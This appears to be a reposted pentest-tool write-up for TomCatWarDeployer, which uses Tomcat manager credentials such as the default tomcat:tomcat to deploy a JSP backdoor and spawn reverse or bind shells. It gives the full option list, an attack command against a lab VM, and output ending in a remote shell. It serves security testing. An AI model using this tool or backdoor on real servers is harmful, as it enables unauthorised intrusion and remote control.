Ethical Hacking Training Institute
Extreme Hacking | Sadik Shaikh | Cyber Suraksha Abhiyan
TomCatWarDeployer: Apache Tomcat Auto WAR deployment & Pwning Penetration Testing Tool..
Apache Tomcat auto WAR deployment & pwning penetration testing tool.
What is it?
This is a penetration testing tool intended to leverage Apache Tomcat credentials in order to automatically generate and deploy JSP Backdoor, as well as invoke it afterwards and provide nice shell (either via web gui, listening port binded on remote machine or as a reverse tcp payload connecting back to the adversary).
In practice, it generates JSP backdoor WAR package on-the-fly and deploys it at the Apache Tomcat Manager Application, using valid HTTP Authentication credentials that pentester provided (or custom ones, in the end, we all love tomcat:tomcat ).
Usage
As simple as providing server’s address with port, as a IP:PORT pair. Here goes the help:
user$ python tomcatWarDeployer.py –help
tomcatWarDeployer (v. 0.3)
Apache Tomcat 6/7 auto WAR deployment & launching tool
Mariusz B. / MGeeky ’16
Penetration Testing utility aiming at presenting danger of leaving Tomcat misconfigured.
Usage: tomcatWarDeployer.py [options] server
server Specifies server address. Please also include port after colon.
Options:
-h, –help show this help message and exit
General options:
-v, –verbose Verbose mode.
-s, –simulate Simulate breach only, do not perform any offensive
actions.
-G OUTFILE, –generate=OUTFILE
Generate JSP backdoor only and put it into specified
outfile path then exit. Do not perform any
connections, scannings, deployment and so on.
-U USER, –user=USER
Tomcat Manager Web Application HTTP Auth username.
Default=”tomcat”
-P PASS, –pass=PASS
Tomcat Manager Web Application HTTP Auth password.
Default=”tomcat”
Connection options:
-H RHOST, –host=RHOST
Remote host for reverse tcp payload connection. When
specified, RPORT must be specified too. Otherwise,
bind tcp payload will be deployed listening on 0.0.0.0
-p PORT, –port=PORT
Remote port for the reverse tcp payload when used with
RHOST or Local port if no RHOST specified thus acting
as a Bind shell endpoint.
-u URL, –url=URL Apache Tomcat management console URL. Default:
/manager/
-t TIMEOUT, –timeout=TIMEOUT
Speciifed timeout parameter for socket object and
other timing holdups. Default: 10
Payload options:
-R APPNAME, –remove=APPNAME
Remove deployed app with specified name. Can be used
for post-assessment cleaning
-X PASSWORD, –shellpass=PASSWORD
Specifies authentication password for uploaded shell,
to prevent unauthenticated usage. Default: randomly
generated. Specify “None” to leave the shell
unauthenticated.
-T TITLE, –title=TITLE
Specifies head>title for uploaded JSP WAR payload.
Default: “JSP Application”
-n APPNAME, –name=APPNAME
Specifies JSP application name. Default: “jsp_app”
-x, –unload Unload existing JSP Application with the same name.
Default: no.
-C, –noconnect Do not connect to the spawned shell immediately. By
default this program will connect to the spawned
shell, specifying this option let’s you use other
handlers like Metasploit, NetCat and so on.
-f WARFILE, –file=WARFILE
Custom WAR file to deploy. By default the script will
And sample usage on Kevgir 1 VM by canyoupwn.me running at 192.168.56.100:8080 :
user$ python tomcatWarDeployer.py -v -x -p 4449 -H 192.168.56.102 192.168.56.100:8080
tomcatWarDeployer (v. 0.3)
Apache Tomcat 6/7 auto WAR deployment & launching tool
Mariusz B. / MGeeky ’16
Penetration Testing utility aiming at presenting danger of leaving Tomcat misconfigured.
INFO: Reverse shell will connect to: 192.168.56.102:4449.
DEBUG: Browsing to “http://192.168.56.100:8080/manager/”… Creds: tomcat:tomcat
DEBUG: Apache Tomcat Manager Application reached & validated.
DEBUG: Generating JSP WAR backdoor code…
DEBUG: Preparing additional code for Reverse TCP shell
DEBUG: Generating temporary structure for jsp_app WAR at: “/tmp/tmpDhzo9I”
DEBUG: Working with Java at version: 1.8.0_60
DEBUG: Generating web.xml with servlet-name: “JSP Application”
DEBUG: Generating WAR file at: “/tmp/jsp_app.war”
DEBUG: added manifest
adding: files/(in = 0) (out= 0)(stored 0%)
adding: files/WEB-INF/(in = 0) (out= 0)(stored 0%)
adding: files/WEB-INF/web.xml(in = 547) (out= 253)(deflated 53%)
adding: files/META-INF/(in = 0) (out= 0)(stored 0%)
adding: files/META-INF/MANIFEST.MF(in = 68) (out= 67)(deflated 1%)
adding: index.jsp(in = 4684) (out= 1595)(deflated 65%)
DEBUG: WAR file structure:
DEBUG: /tmp/tmpDhzo9I
├── files
│ ├── META-INF
│ │ └── MANIFEST.MF
│ └── WEB-INF
│ └── web.xml
└── index.jsp
3 directories, 3 files
WARNING: Application with name: “jsp_app” is already deployed.
DEBUG: Unloading existing one…
DEBUG: Unloading application: “http://192.168.56.100:8080/jsp_app/”
DEBUG: Succeeded.
DEBUG: Deploying application: jsp_app from file: “/tmp/jsp_app.war”
DEBUG: Removing temporary WAR directory: “/tmp/tmpDhzo9I”
DEBUG: Succeeded, invoking it…
DEBUG: Spawned shell handling thread. Awaiting for the event…
DEBUG: Awaiting for reverse-shell handler to set-up
DEBUG: Establishing listener for incoming reverse TCP shell at 192.168.56.102:4449
DEBUG: Socket is binded to local port now, awaiting for clients…
DEBUG: Invoking application at url: “http://192.168.56.100:8080/jsp_app/”
DEBUG: Adding ‘X-Pass: oHI9mPB0mOnZ’ header for shell functionality authentication.
DEBUG: Incoming client: 192.168.56.100:54251
INFO: JSP Backdoor up & running on http://192.168.56.100:8080/jsp_app/
INFO: Happy pwning. Here take that password for web shell: ‘oHI9mPB0mOnZ’
DEBUG: Connected with the shell: tomcat7@canyoupwnme
tomcat7@canyoupwnme $ id
uid=106(tomcat7) gid=114(tomcat7) groups=114(tomcat7)
tomcat7@canyoupwnme $ exit
The program will set-up a local listener for reverse-shell connection on the 192.168.56.102:4449 host (local host) as in the example above. Then, after invoking JSP Backdoor it will automatically connect with the local listener, resulting in shell being popped up. One can also skip -H parameter in order to go with bind shell functionality, whereas rather then setting local listener – the program will go and connect with remotely listening bind-shell.
Finally, the above invocation will result in the following JSP application accessible remotely via WEB:
JSP backdoor gui
As one can see, there is password needed for leveraging deployed backdoor, preventing thus unauthenticated access during conducted assessment.
Summing up, user has spawned WEB application providing WEB backdoor, authenticated via POST ‘password’ parameter that can be specified by user or randomly generated by the program. Then, the application upon receiving X-Pass header in the invocation phase, spawned reverse connection to our netcat handler. The HTTP header is being requested here in order to prevent user refreshing WEB gui and keep trying to bind or reverse connect. Also this makes use of authentication to reach that code.
That would be all I guess.
CHANGELOG
19.07.16: Version 0.3: Added bind-shell & Reverse-shell functionality to provide user with direct access to the shell.
TODO
- Implement bind & reverse tcp payload functionality as well as some pty to interact with it
- Finish implementing noconnect and connect functionality
- Implement sort of communication authentication and encryption/encoding, to prevent flow of plain-text data through the wire/ether
- Test it on tomcat8
Sadik Shaikh | Cyber Suraksha Abhiyan, Ethical Hacking Training Institute, CEHv9,CHFI,ECSAv9,CAST,ENSA, CCNA, CCNA SECURITY,MCITP,RHCE,CHECKPOINT, ASA FIREWALL,VMWARE,CLOUD,ANDROID,IPHONE,NETWORKING HARDWARE,TRAINING INSTITUTE IN PUNE, Certified Ethical Hacking,Center For Advanced Security Training in India, ceh v9 course in Pune-India, ceh certification in pune-India, ceh v9 training in Pune-India, Ethical Hacking Course in Pune-India